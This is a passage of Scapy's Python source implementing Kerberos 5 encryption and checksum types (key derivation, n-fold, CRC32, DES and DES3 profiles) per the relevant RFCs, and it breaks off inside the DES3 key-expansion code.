    "content": "# SPDX-License-Identifier: BSD-2-Clause\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (c) 2013, Marc Horowitz\n# Copyright (C) 2013, Massachusetts Institute of Technology\n# Copyright (C) 2022-2024, Gabriel Potter and the secdev/scapy community\n\n\"\"\"\nImplementation of cryptographic functions for Kerberos 5\n\n- RFC 3961: Encryption and Checksum Specifications for Kerberos 5\n- RFC 3962: Advanced Encryption Standard (AES) Encryption for Kerberos 5\n- RFC 4757: The RC4-HMAC Kerberos Encryption Types Used by Microsoft Windows\n- RFC 6113: A Generalized Framework for Kerberos Pre-Authentication\n- RFC 8009: AES Encryption with HMAC-SHA2 for Kerberos 5\n\n.. note::\n    You will find more complete documentation for Kerberos over at\n    `SMB <https://scapy.readthedocs.io/en/latest/layers/kerberos.html>`_\n\"\"\"\n\n# TODO: support cipher states...\n\n__all__ = [\n    \"ChecksumType\",\n    \"EncryptionType\",\n    \"InvalidChecksum\",\n    \"KRB_FX_CF2\",\n    \"Key\",\n    \"SP800108_KDFCTR\",\n    \"_rfc1964pad\",\n]\n\n# The following is a heavily modified version of\n# https://github.com/SecureAuthCorp/impacket/blob/3ec59074ec35c06bbd4312d1042f0e23f4a1b41f/impacket/krb5/crypto.py\n# itself heavily inspired from\n# https://github.com/mhorowitz/pykrb5/blob/master/krb5/crypto.py\n# Note that the following work is based only on THIS COMMIT from impacket,\n# which is therefore under mhorowitz's BSD 2-clause \"simplified\" license.\n\nimport abc\nimport enum\nimport math\nimport os\nimport struct\nfrom scapy.compat import (\n    orb,\n    chb,\n    int_bytes,\n    bytes_int,\n    plain_str,\n)\n\n# Typing\nfrom typing import (\n    Any,\n    Callable,\n    List,\n    Optional,\n    Type,\n    Union,\n)\n\n# We end up using our own crypto module for hashes / hmac because\n# we need MD4 which was dropped everywhere. It's just a wrapper above\n# the builtin python ones (except for MD4).\n\nfrom scapy.layers.tls.crypto.hash import (\n    _GenericHash,\n    Hash_MD4,\n    Hash_MD5,\n    Hash_SHA,\n    Hash_SHA256,\n    Hash_SHA384,\n)\nfrom scapy.layers.tls.crypto.h_mac import (\n    Hmac,\n    Hmac_MD5,\n    Hmac_SHA,\n)\n\n# For everything else, use cryptography.\n\ntry:\n    from cryptography.hazmat.primitives import hashes\n    from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC\n    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\n\n    try:\n        # cryptography > 43.0\n        from cryptography.hazmat.decrepit.ciphers import (\n            algorithms as decrepit_algorithms,\n        )\n    except ImportError:\n        decrepit_algorithms = algorithms\nexcept ImportError:\n    raise ImportError(\"To use kerberos cryptography, you need to install cryptography.\")\n\n\n# cryptography's TripleDES can be used to simulate DES behavior\ndef DES(key: bytes) -> decrepit_algorithms.TripleDES:\n    return decrepit_algorithms.TripleDES(key * 3)\n\n\n# https://go.microsoft.com/fwlink/?LinkId=186039\n# https://csrc.nist.gov/CSRC/media/Publications/sp/800-108/archive/2008-11-06/documents/sp800-108-Nov2008.pdf\n# [SP800-108] section 5.1 (used in [MS-SMB2] sect 3.1.4.2)\n\n\ndef SP800108_KDFCTR(\n    K_I: bytes,\n    Label: bytes,\n    Context: bytes,\n    L: int,\n    hashmod: _GenericHash = Hash_SHA256,\n) -> bytes:\n    \"\"\"\n    KDF in Counter Mode as section 5.1 of [SP800-108]\n\n    This assumes r=32, and defaults to SHA256 ([MS-SMB2] default).\n    \"\"\"\n    PRF = Hmac(K_I, hashmod).digest\n    h = hashmod.hash_len\n    n = math.ceil(L / h)\n    if n >= 0xFFFFFFFF:\n        # 2^r-1 = 0xffffffff with r=32 per [MS-SMB2]\n        raise ValueError(\"Invalid n value in SP800108_KDFCTR\")\n    result = b\"\".join(\n        PRF(struct.pack(\">I\", i) + Label + b\"\\x00\" + Context + struct.pack(\">I\", L))\n        for i in range(1, n + 1)\n    )\n    return result[: L // 8]\n\n\n# https://www.iana.org/assignments/kerberos-parameters/kerberos-parameters.xhtml#kerberos-parameters-1\n\n\nclass EncryptionType(enum.IntEnum):\n    DES_CBC_CRC = 1\n    DES_CBC_MD4 = 2\n    DES_CBC_MD5 = 3\n    # DES3_CBC_SHA1 = 7\n    DES3_CBC_SHA1_KD = 16\n    AES128_CTS_HMAC_SHA1_96 = 17\n    AES256_CTS_HMAC_SHA1_96 = 18\n    AES128_CTS_HMAC_SHA256_128 = 19\n    AES256_CTS_HMAC_SHA384_192 = 20\n    RC4_HMAC = 23\n    RC4_HMAC_EXP = 24\n    # CAMELLIA128-CTS-CMAC = 25\n    # CAMELLIA256-CTS-CMAC = 26\n\n\n# https://www.iana.org/assignments/kerberos-parameters/kerberos-parameters.xhtml#kerberos-parameters-2\n\n\nclass ChecksumType(enum.IntEnum):\n    CRC32 = 1\n    RSA_MD4 = 2\n    RSA_MD4_DES = 3\n    # RSA_MD5 = 7\n    RSA_MD5_DES = 8\n    # RSA_MD5_DES3 = 9\n    # SHA1 = 10\n    HMAC_SHA1_DES3_KD = 12\n    # HMAC_SHA1_DES3 = 13\n    # SHA1 = 14\n    HMAC_SHA1_96_AES128 = 15\n    HMAC_SHA1_96_AES256 = 16\n    # CMAC-CAMELLIA128 = 17\n    # CMAC-CAMELLIA256 = 18\n    HMAC_SHA256_128_AES128 = 19\n    HMAC_SHA384_192_AES256 = 20\n    HMAC_MD5 = -138\n\n\nclass InvalidChecksum(ValueError):\n    pass\n\n\n#########\n# Utils #\n#########\n\n\n# https://www.gnu.org/software/shishi/ides.pdf - APPENDIX B\n\n\ndef _n_fold(s, n):\n    # type: (bytes, int) -> bytes\n    \"\"\"\n    n-fold is an algorithm that takes m input bits and \"stretches\" them\n    to form n output bits with equal contribution from each input bit to\n    the output (quote from RFC 3961 sect 3.1).\n    \"\"\"\n\n    def rot13(y, nb):\n        # type: (bytes, int) -> bytes\n        x = bytes_int(y)\n        mod = (1 << (nb * 8)) - 1\n        if nb == 0:\n            return y\n        elif nb == 1:\n            return int_bytes(((x >> 5) | (x << (nb * 8 - 5))) & mod, nb)\n        else:\n            return int_bytes(((x >> 13) | (x << (nb * 8 - 13))) & mod, nb)\n\n    def ocadd(x, y, nb):\n        # type: (bytearray, bytearray, int) -> bytearray\n        v = [a + b for a, b in zip(x, y)]\n        while any(x & ~0xFF for x in v):\n            v = [(v[i - nb + 1] >> 8) + (v[i] & 0xFF) for i in range(nb)]\n        return bytearray(x for x in v)\n\n    m = len(s)\n    lcm = n // math.gcd(n, m) * m  # lcm = math.lcm(n, m) on Python>=3.9\n    buf = bytearray()\n    for _ in range(lcm // m):\n        buf += s\n        s = rot13(s, m)\n    out = bytearray(b\"\\x00\" * n)\n    for i in range(0, lcm, n):\n        out = ocadd(out, buf[i : i + n], n)\n    return bytes(out)\n\n\ndef _zeropad(s, padsize):\n    # type: (bytes, int) -> bytes\n    \"\"\"\n    Return s padded with 0 bytes to a multiple of padsize.\n    \"\"\"\n    return s + b\"\\x00\" * (-len(s) % padsize)\n\n\ndef _rfc1964pad(s):\n    # type: (bytes) -> bytes\n    \"\"\"\n    Return s padded as RFC1964 mandates\n    \"\"\"\n    pad = (-len(s)) % 8\n    return s + pad * struct.pack(\"!B\", pad)\n\n\ndef _xorbytes(b1, b2):\n    # type: (bytearray, bytearray) -> bytearray\n    \"\"\"\n    xor two strings together and return the resulting string\n    \"\"\"\n    assert len(b1) == len(b2)\n    return bytearray((x ^ y) for x, y in zip(b1, b2))\n\n\ndef _mac_equal(mac1, mac2):\n    # type: (bytes, bytes) -> bool\n    # Constant-time comparison function.  (We can't use HMAC.verify\n    # since we use truncated macs.)\n    return all(x == y for x, y in zip(mac1, mac2))\n\n\n# https://doi.org/10.6028/NBS.FIPS.74 sect 3.6\n\nWEAK_DES_KEYS = set(\n    [\n        # 1\n        b\"\\xe0\\x01\\xe0\\x01\\xf1\\x01\\xf1\\x01\",\n        b\"\\x01\\xe0\\x01\\xe0\\x01\\xf1\\x01\\xf1\",\n        # 2\n        b\"\\xfe\\x1f\\xfe\\x1f\\xfe\\x0e\\xfe\\x0e\",\n        b\"\\x1f\\xfe\\x1f\\xfe\\x0e\\xfe\\x0e\\xfe\",\n        # 3\n        b\"\\xe0\\x1f\\xe0\\x1f\\xf1\\x0e\\xf1\\x0e\",\n        b\"\\x1f\\xe0\\x1f\\xe0\\x0e\\xf1\\x0e\\xf1\",\n        # 4\n        b\"\\x01\\xfe\\x01\\xfe\\x01\\xfe\\x01\\xfe\",\n        b\"\\xfe\\x01\\xfe\\x01\\xfe\\x01\\xfe\\x01\",\n        # 5\n        b\"\\x01\\x1f\\x01\\x1f\\x01\\x0e\\x01\\x0e\",\n        b\"\\x1f\\x01\\x1f\\x01\\x0e\\x01\\x0e\\x01\",\n        # 6\n        b\"\\xe0\\xfe\\xe0\\xfe\\xf1\\xfe\\xf1\\xfe\",\n        b\"\\xfe\\xe0\\xfe\\xe0\\xfe\\xf1\\xfe\\xf1\",\n        # 7\n        b\"\\x01\" * 8,\n        # 8\n        b\"\\xfe\" * 8,\n        # 9\n        b\"\\xe0\" * 4 + b\"\\xf1\" * 4,\n        # 10\n        b\"\\x1f\" * 4 + b\"\\x0e\" * 4,\n    ]\n)\n\n# fmt: off\nCRC32_TABLE = [\n    0x00000000, 0x77073096, 0xee0e612c, 0x990951ba,\n    0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3,\n    0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,\n    0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91,\n    0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,\n    0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,\n    0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec,\n    0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5,\n    0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,\n    0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,\n    0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940,\n    0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,\n    0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116,\n    0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f,\n    0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,\n    0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d,\n    0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a,\n    0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,\n    0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818,\n    0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,\n    0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,\n    0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457,\n    0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c,\n    0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,\n    0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,\n    0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb,\n    0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,\n    0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9,\n    0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086,\n    0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,\n    0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4,\n    0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad,\n    0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,\n    0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683,\n    0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,\n    0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,\n    0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe,\n    0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7,\n    0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,\n    0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,\n    0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252,\n    0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,\n    0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60,\n    0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79,\n    0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,\n    0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f,\n    0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04,\n    0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,\n    0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a,\n    0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,\n    0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,\n    0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21,\n    0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e,\n    0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,\n    0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,\n    0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45,\n    0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,\n    0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db,\n    0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0,\n    0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,\n    0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6,\n    0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf,\n    0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,\n    0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d\n]\n# fmt: on\n\n############\n# RFC 3961 #\n############\n\n\n# RFC3961 sect 3\n\n\nclass _EncryptionAlgorithmProfile(abc.ABCMeta):\n    \"\"\"\n    Base class for etype profiles.\n\n    Usable etype classes must define:\n    :attr etype: etype number\n    :attr keysize: protocol size of key in bytes\n    :attr seedsize: random_to_key input size in bytes\n    :attr reqcksum: 'required checksum mechanism' per RFC3961.\n                    this is the default checksum used for this algorithm.\n    :attr random_to_key: (if the keyspace is not dense)\n    :attr string_to_key:\n    :attr encrypt:\n    :attr decrypt:\n    :attr prf:\n    \"\"\"\n\n    etype = None  # type: EncryptionType\n    keysize = None  # type: int\n    seedsize = None  # type: int\n    reqcksum = None  # type: ChecksumType\n\n    @classmethod\n    @abc.abstractmethod\n    def derive(cls, key, constant):\n        # type: (Key, bytes) -> bytes\n        pass\n\n    @classmethod\n    @abc.abstractmethod\n    def encrypt(cls, key, keyusage, plaintext, confounder):\n        # type: (Key, int, bytes, Optional[bytes]) -> bytes\n        pass\n\n    @classmethod\n    @abc.abstractmethod\n    def decrypt(cls, key, keyusage, ciphertext):\n        # type: (Key, int, bytes) -> bytes\n        pass\n\n    @classmethod\n    @abc.abstractmethod\n    def prf(cls, key, string):\n        # type: (Key, bytes) -> bytes\n        pass\n\n    @classmethod\n    @abc.abstractmethod\n    def string_to_key(cls, string, salt, params):\n        # type: (bytes, bytes, Optional[bytes]) -> Key\n        pass\n\n    @classmethod\n    def random_to_key(cls, seed):\n        # type: (bytes) -> Key\n        if len(seed) != cls.seedsize:\n            raise ValueError(\"Wrong seed length\")\n        return Key(cls.etype, key=seed)\n\n\n# RFC3961 sect 4\n\n\nclass _ChecksumProfile(object):\n    \"\"\"\n    Base class for checksum profiles.\n\n    Usable checksum classes must define:\n    :func checksum:\n    :attr macsize: Size of checksum in bytes\n    :func verify: (if verification is not just checksum-and-compare)\n    \"\"\"\n\n    macsize = None  # type: int\n\n    @classmethod\n    @abc.abstractmethod\n    def checksum(cls, key, keyusage, text):\n        # type: (Key, int, bytes) -> bytes\n        pass\n\n    @classmethod\n    def verify(cls, key, keyusage, text, cksum):\n        # type: (Key, int, bytes, bytes) -> None\n        expected = cls.checksum(key, keyusage, text)\n        if not _mac_equal(cksum, expected):\n            raise InvalidChecksum(\"checksum verification failure\")\n\n\n# RFC3961 sect 5.3\n\n\nclass _SimplifiedEncryptionProfile(_EncryptionAlgorithmProfile):\n    \"\"\"\n    Base class for etypes using the RFC 3961 simplified profile.\n    Defines the encrypt, decrypt, and prf methods.\n\n    Subclasses must define:\n\n    :param blocksize: Underlying cipher block size in bytes\n    :param padsize: Underlying cipher padding multiple (1 or blocksize)\n    :param macsize: Size of integrity MAC in bytes\n    :param hashmod: underlying hash function\n    :param basic_encrypt, basic_decrypt: Underlying CBC/CTS cipher\n    \"\"\"\n\n    blocksize = None  # type: int\n    padsize = None  # type: int\n    macsize = None  # type: int\n    hashmod = None  # type: Any\n\n    # Used in RFC 8009. This is not a simplified profile per se but\n    # is still pretty close.\n    rfc8009 = False\n\n    @classmethod\n    @abc.abstractmethod\n    def basic_encrypt(cls, key, plaintext):\n        # type: (bytes, bytes) -> bytes\n        pass\n\n    @classmethod\n    @abc.abstractmethod\n    def basic_decrypt(cls, key, ciphertext):\n        # type: (bytes, bytes) -> bytes\n        pass\n\n    @classmethod\n    def derive(cls, key, constant):\n        # type: (Key, bytes) -> bytes\n        \"\"\"\n        Also known as \"DK\" in RFC3961.\n        \"\"\"\n        # RFC 3961 only says to n-fold the constant only if it is\n        # shorter than the cipher block size.  But all Unix\n        # implementations n-fold constants if their length is larger\n        # than the block size as well, and n-folding when the length\n        # is equal to the block size is a no-op.\n        plaintext = _n_fold(constant, cls.blocksize)\n        rndseed = b\"\"\n        while len(rndseed) < cls.seedsize:\n            ciphertext = cls.basic_encrypt(key.key, plaintext)\n            rndseed += ciphertext\n            plaintext = ciphertext\n        # DK(Key, Constant) = random-to-key(DR(Key, Constant))\n        return cls.random_to_key(rndseed[0 : cls.seedsize]).key\n\n    @classmethod\n    def encrypt(cls, key, keyusage, plaintext, confounder, signtext=None):\n        # type: (Key, int, bytes, Optional[bytes], Optional[bytes]) -> bytes\n        \"\"\"\n        Encryption function.\n\n        :param key: the key\n        :param keyusage: the keyusage\n        :param plaintext: the text to encrypt\n        :param confounder: (optional) the confounder. If none, will be random\n        :param signtext: (optional) make the checksum include different data than what\n                         is encrypted. Useful for kerberos GSS_WrapEx. If none, same as\n                         plaintext.\n        \"\"\"\n        if not cls.rfc8009:\n            ki = cls.derive(key, struct.pack(\">IB\", keyusage, 0x55))\n            ke = cls.derive(key, struct.pack(\">IB\", keyusage, 0xAA))\n        else:\n            ki = cls.derive(key, struct.pack(\">IB\", keyusage, 0x55), cls.macsize * 8)  # type: ignore  # noqa: E501\n            ke = cls.derive(key, struct.pack(\">IB\", keyusage, 0xAA), cls.keysize * 8)  # type: ignore  # noqa: E501\n        if confounder is None:\n            confounder = os.urandom(cls.blocksize)\n        basic_plaintext = confounder + _zeropad(plaintext, cls.padsize)\n        if signtext is None:\n            signtext = basic_plaintext\n        if not cls.rfc8009:\n            # Simplified profile\n            hmac = Hmac(ki, cls.hashmod).digest(signtext)\n            return cls.basic_encrypt(ke, basic_plaintext) + hmac[: cls.macsize]\n        else:\n            # RFC 8009\n            C = cls.basic_encrypt(ke, basic_plaintext)\n            hmac = Hmac(ki, cls.hashmod).digest(b\"\\0\" * 16 + C)  # XXX IV\n            return C + hmac[: cls.macsize]\n\n    @classmethod\n    def decrypt(cls, key, keyusage, ciphertext, presignfunc=None):\n        # type: (Key, int, bytes, Optional[Callable[[bytes, bytes], bytes]]) -> bytes\n        \"\"\"\n        decryption function\n        \"\"\"\n        if not cls.rfc8009:\n            ki = cls.derive(key, struct.pack(\">IB\", keyusage, 0x55))\n            ke = cls.derive(key, struct.pack(\">IB\", keyusage, 0xAA))\n        else:\n            ki = cls.derive(key, struct.pack(\">IB\", keyusage, 0x55), cls.macsize * 8)  # type: ignore  # noqa: E501\n            ke = cls.derive(key, struct.pack(\">IB\", keyusage, 0xAA), cls.keysize * 8)  # type: ignore  # noqa: E501\n        if len(ciphertext) < cls.blocksize + cls.macsize:\n            raise ValueError(\"Ciphertext too short\")\n        basic_ctext, mac = ciphertext[: -cls.macsize], ciphertext[-cls.macsize :]\n        if len(basic_ctext) % cls.padsize != 0:\n            raise ValueError(\"ciphertext does not meet padding requirement\")\n        if not cls.rfc8009:\n            # Simplified profile\n            basic_plaintext = cls.basic_decrypt(ke, basic_ctext)\n            signtext = basic_plaintext\n            if presignfunc:\n                # Allow to have additional processing of the data that is to be signed.\n                # This is useful for GSS_WrapEx\n                signtext = presignfunc(\n                    basic_plaintext[: cls.blocksize],\n                    basic_plaintext[cls.blocksize :],\n                )\n            hmac = Hmac(ki, cls.hashmod).digest(signtext)\n            expmac = hmac[: cls.macsize]\n            if not _mac_equal(mac, expmac):\n                raise ValueError(\"ciphertext integrity failure\")\n        else:\n            # RFC 8009\n            signtext = b\"\\0\" * 16 + basic_ctext  # XXX IV\n            if presignfunc:\n                # Allow to have additional processing of the data that is to be signed.\n                # This is useful for GSS_WrapEx\n                signtext = presignfunc(\n                    basic_ctext[16 : 16 + cls.blocksize],\n                    basic_ctext[16 + cls.blocksize :],\n                )\n            hmac = Hmac(ki, cls.hashmod).digest(signtext)\n            expmac = hmac[: cls.macsize]\n            if not _mac_equal(mac, expmac):\n                raise ValueError(\"ciphertext integrity failure\")\n            basic_plaintext = cls.basic_decrypt(ke, basic_ctext)\n        # Discard the confounder.\n        return bytes(basic_plaintext[cls.blocksize :])\n\n    @classmethod\n    def prf(cls, key, string):\n        # type: (Key, bytes) -> bytes\n        \"\"\"\n        pseudo-random function\n        \"\"\"\n        # Hash the input.  RFC 3961 says to truncate to the padding\n        # size, but implementations truncate to the block size.\n        hashval = cls.hashmod().digest(string)\n        if len(hashval) % cls.blocksize:\n            hashval = hashval[: -(len(hashval) % cls.blocksize)]\n        # Encrypt the hash with a derived key.\n        kp = cls.derive(key, b\"prf\")\n        return cls.basic_encrypt(kp, hashval)\n\n\n# RFC3961 sect 5.4\n\n\nclass _SimplifiedChecksum(_ChecksumProfile):\n    \"\"\"\n    Base class for checksums using the RFC 3961 simplified profile.\n    Defines the checksum and verify methods.\n\n    Subclasses must define:\n    :attr enc: Profile of associated etype\n    \"\"\"\n\n    enc = None  # type: Type[_SimplifiedEncryptionProfile]\n\n    # Used in RFC 8009. This is not a simplified profile per se but\n    # is still pretty close.\n    rfc8009 = False\n\n    @classmethod\n    def checksum(cls, key, keyusage, text):\n        # type: (Key, int, bytes) -> bytes\n        if not cls.rfc8009:\n            # Simplified profile\n            kc = cls.enc.derive(key, struct.pack(\">IB\", keyusage, 0x99))\n        else:\n            # RFC 8009\n            kc = cls.enc.derive(  # type: ignore\n                key, struct.pack(\">IB\", keyusage, 0x99), cls.macsize * 8\n            )\n        hmac = Hmac(kc, cls.enc.hashmod).digest(text)\n        return hmac[: cls.macsize]\n\n    @classmethod\n    def verify(cls, key, keyusage, text, cksum):\n        # type: (Key, int, bytes, bytes) -> None\n        if key.etype != cls.enc.etype:\n            raise ValueError(\"Wrong key type for checksum\")\n        super(_SimplifiedChecksum, cls).verify(key, keyusage, text, cksum)\n\n\n# RFC3961 sect 6.1\n\n\nclass _CRC32(_ChecksumProfile):\n    macsize = 4\n\n    # This isn't your usual CRC32, it's a \"modified version\" according to the RFC3961.\n    # Another RFC states it's just a buggy version of the actual CRC32.\n\n    @classmethod\n    def checksum(cls, key, keyusage, text):\n        # type: (Optional[Key], int, bytes) -> bytes\n        c = 0\n        for i in range(len(text)):\n            idx = text[i] ^ c\n            idx &= 0xFF\n            c >>= 8\n            c ^= CRC32_TABLE[idx]\n        return c.to_bytes(4, \"little\")\n\n\n# RFC3961 sect 6.2\n\n\nclass _DESCBC(_SimplifiedEncryptionProfile):\n    keysize = 8\n    seedsize = 8\n    blocksize = 8\n    padsize = 8\n    macsize = 16\n    hashmod = Hash_MD5\n\n    @classmethod\n    def encrypt(cls, key, keyusage, plaintext, confounder, signtext=None):\n        # type: (Key, int, bytes, Optional[bytes], Any) -> bytes\n        if confounder is None:\n            confounder = os.urandom(cls.blocksize)\n        basic_plaintext = (\n            confounder + b\"\\x00\" * cls.macsize + _zeropad(plaintext, cls.padsize)\n        )\n        checksum = cls.hashmod().digest(basic_plaintext)\n        basic_plaintext = (\n            basic_plaintext[: len(confounder)]\n            + checksum\n            + basic_plaintext[len(confounder) + len(checksum) :]\n        )\n        return cls.basic_encrypt(key.key, basic_plaintext)\n\n    @classmethod\n    def decrypt(cls, key, keyusage, ciphertext, presignfunc=None):\n        # type: (Key, int, bytes, Any) -> bytes\n        if len(ciphertext) < cls.blocksize + cls.macsize:\n            raise ValueError(\"ciphertext too short\")\n\n        complex_plaintext = cls.basic_decrypt(key.key, ciphertext)\n        cofounder = complex_plaintext[: cls.padsize]\n        mac = complex_plaintext[cls.padsize : cls.padsize + cls.macsize]\n        message = complex_plaintext[cls.padsize + cls.macsize :]\n\n        expmac = cls.hashmod().digest(cofounder + b\"\\x00\" * cls.macsize + message)\n        if not _mac_equal(mac, expmac):\n            raise InvalidChecksum(\"ciphertext integrity failure\")\n        return bytes(message)\n\n    @classmethod\n    def mit_des_string_to_key(cls, string, salt):\n        # type: (bytes, bytes) -> Key\n        def fixparity(deskey):\n            # type: (List[int]) -> bytes\n            temp = b\"\"\n            for i in range(len(deskey)):\n                t = (bin(orb(deskey[i]))[2:]).rjust(8, \"0\")\n                if t[:7].count(\"1\") % 2 == 0:\n                    temp += chb(int(t[:7] + \"1\", 2))\n                else:\n                    temp += chb(int(t[:7] + \"0\", 2))\n            return temp\n\n        def addparity(l1):\n            # type: (List[int]) -> List[int]\n            temp = list()\n            for byte in l1:\n                if (bin(byte).count(\"1\") % 2) == 0:\n                    byte = (byte << 1) | 0b00000001\n                else:\n                    byte = (byte << 1) & 0b11111110\n                temp.append(byte)\n            return temp\n\n        def XOR(l1, l2):\n            # type: (List[int], List[int]) -> List[int]\n            temp = list()\n            for b1, b2 in zip(l1, l2):\n                temp.append((b1 ^ b2) & 0b01111111)\n\n            return temp\n\n        odd = True\n        tempstring = [0, 0, 0, 0, 0, 0, 0, 0]\n        s = _zeropad(string + salt, cls.padsize)\n\n        for block in [s[i : i + 8] for i in range(0, len(s), 8)]:\n            temp56 = list()\n            # removeMSBits\n            for byte in block:\n                temp56.append(orb(byte) & 0b01111111)\n\n            # reverse\n            if odd is False:\n                bintemp = b\"\"\n                for byte in temp56:\n                    bintemp += bin(byte)[2:].rjust(7, \"0\").encode()\n                bintemp = bintemp[::-1]\n\n                temp56 = list()\n                for bits7 in [bintemp[i : i + 7] for i in range(0, len(bintemp), 7)]:\n                    temp56.append(int(bits7, 2))\n\n            odd = not odd\n            tempstring = XOR(tempstring, temp56)\n\n        tempkey = bytearray(b\"\".join(chb(byte) for byte in addparity(tempstring)))\n        if bytes(tempkey) in WEAK_DES_KEYS:\n            tempkey[7] = tempkey[7] ^ 0xF0\n\n        tempkeyb = bytes(tempkey)\n        des = Cipher(DES(tempkeyb), modes.CBC(tempkeyb)).encryptor()\n        chekcsumkey = des.update(s)[-8:]\n        chekcsumkey = bytearray(fixparity(chekcsumkey))\n        if bytes(chekcsumkey) in WEAK_DES_KEYS:\n            chekcsumkey[7] = chekcsumkey[7] ^ 0xF0\n\n        return Key(cls.etype, key=bytes(chekcsumkey))\n\n    @classmethod\n    def basic_encrypt(cls, key, plaintext):\n        # type: (bytes, bytes) -> bytes\n        assert len(plaintext) % 8 == 0\n        des = Cipher(DES(key), modes.CBC(b\"\\0\" * 8)).encryptor()\n        return des.update(bytes(plaintext))\n\n    @classmethod\n    def basic_decrypt(cls, key, ciphertext):\n        # type: (bytes, bytes) -> bytes\n        assert len(ciphertext) % 8 == 0\n        des = Cipher(DES(key), modes.CBC(b\"\\0\" * 8)).decryptor()\n        return des.update(bytes(ciphertext))\n\n    @classmethod\n    def string_to_key(cls, string, salt, params):\n        # type: (bytes, bytes, Optional[bytes]) -> Key\n        if params is not None and params != b\"\":\n            raise ValueError(\"Invalid DES string-to-key parameters\")\n        key = cls.mit_des_string_to_key(string, salt)\n        return key\n\n\n# RFC3961 sect 6.2.1\n\n\nclass _DESMD5(_DESCBC):\n    etype = EncryptionType.DES_CBC_MD5\n    hashmod = Hash_MD5\n    reqcksum = ChecksumType.RSA_MD5_DES\n\n\n# RFC3961 sect 6.2.2\n\n\nclass _DESMD4(_DESCBC):\n    etype = EncryptionType.DES_CBC_MD4\n    hashmod = Hash_MD4\n    reqcksum = ChecksumType.RSA_MD4_DES\n\n\n# RFC3961 sect 6.3\n\n\nclass _DES3CBC(_SimplifiedEncryptionProfile):\n    etype = EncryptionType.DES3_CBC_SHA1_KD\n    keysize = 24\n    seedsize = 21\n    blocksize = 8\n    padsize = 8\n    macsize = 20\n    hashmod = Hash_SHA\n    reqcksum = ChecksumType.HMAC_SHA1_DES3_KD\n\n    @classmethod\n    def random_to_key(cls, seed):\n        # type: (bytes) -> Key\n        # XXX Maybe reframe as _DESEncryptionType.random_to_key and use that\n        # way from DES3 random-to-key when DES is implemented, since\n        # MIT does this instead of the RFC 3961 random-to-key.\n        def expand(seed):\n            # type: (bytes) -> bytes\n            def parity(b):\n                # type: (int) -> 